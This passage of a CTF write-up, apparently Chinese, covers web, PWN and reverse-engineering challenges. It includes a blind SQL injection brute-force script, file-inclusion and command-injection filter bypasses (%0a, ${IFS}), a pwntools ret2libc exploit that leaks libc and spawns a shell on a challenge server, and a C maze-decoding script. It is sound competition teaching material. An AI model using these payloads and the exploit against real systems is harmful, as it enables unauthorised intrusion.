  "username":"1\\",
#  "password":"or(case when hex(username)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  "password":"or(case when hex(password)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

注出来之后解码,登录即可

image

username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!

登陆后访问 /api/flag.php,一个简单的文件包含 /proc/self/root 即可绕过

5_web_letmeguess_1

弱密码 admin amdin123 登录

发现 ; 被过滤,%0a ,空格被过 ${IFS},文件名被过,通配符

image

简单绕一绕就好了

image

PWN

5_1H3ll0Rop

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import * 
context.os = 'linux'
context.log_level = "debug"
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.arch = 'amd64'
p = remote('39.106.138.251',37817)
#p = process('./H3ll0Rop')
libc = ELF('./libc-2.23.so')
elf = ELF('./H3ll0Rop')
rdi = 0x0000000000400753
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pl = b'a'*0x68 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#gdb.attach(p)
p.sendlineafter('\n\n',pl)
ru('\n\n')
libcbase = uu64(r(6))-libc.sym['puts']
leak('libcbase',libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase +0x000000000018ce57
pl = b'a'*0x68 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter('\n\n',pl)
itr()

ret2libc

RE

5_re2

ghidra打开,是一道迷宫题,迷宫为三个15*15的正方形,将三个迷宫路径连接得到flag 。在ida里导出地图数据

写脚本把map还原出来

#include <bits/stdc++.h>
int a1[15][15] ;
int a2[15][15] ;
int a3[15][15] ;
int a[700] = {
        1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    1, 0, 3, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 0, 0, 0, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 1, 1, 0, 1, 
    1, 0, 0, 0, 0, 1, 1, 1, 
    1, 0, 0, 1, 1, 0, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    0, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 1, 1, 1, 1, 0, 
    1, 1, 0, 1, 1, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 1, 
    1, 0, 1, 1, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 1, 0, 
    1, 0, 1, 1, 0, 1, 1, 0, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 1, 0, 3, 1, 
    1, 1, 0, 0, 0, 0, 0, 1, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    1, 0, 0, 0, 0, 0, 1, 1, 
    1, 1, 1, 0, 0, 0, 0, 1, 
    0, 0, 0, 0, 0, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 1, 1, 
    1, 1, 0, 0, 1, 1, 1, 1, 
    1, 0, 0, 0, 0, 0, 0, 0, 
    1, 0, 0, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 1, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    1, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 4, 0, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 3, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 1, 1, 0, 1, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 0, 0, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    1, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 0
};
void makee1(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a1[i][j]);
        }
        printf("\n");
    }
}
void makee2(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a2[i][j]);
        }
        printf("\n");
    }
}
void makee3(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a3[i][j]);
        }
        printf("\n");
    }
}
int main(){
​
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a1[i][j] = a[i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a2[i][j] = a[0xe1 + i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a3[i][j] = a[0xe1 + 0xe1 + i * 15 + j];
        }
    }
    makee1();
    printf("\n\n");
    makee2();
    printf("\n\n"); 
    makee3();
    return 0;
}

走迷宫得到路径:

image

dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss,md5 加密包裹得到flag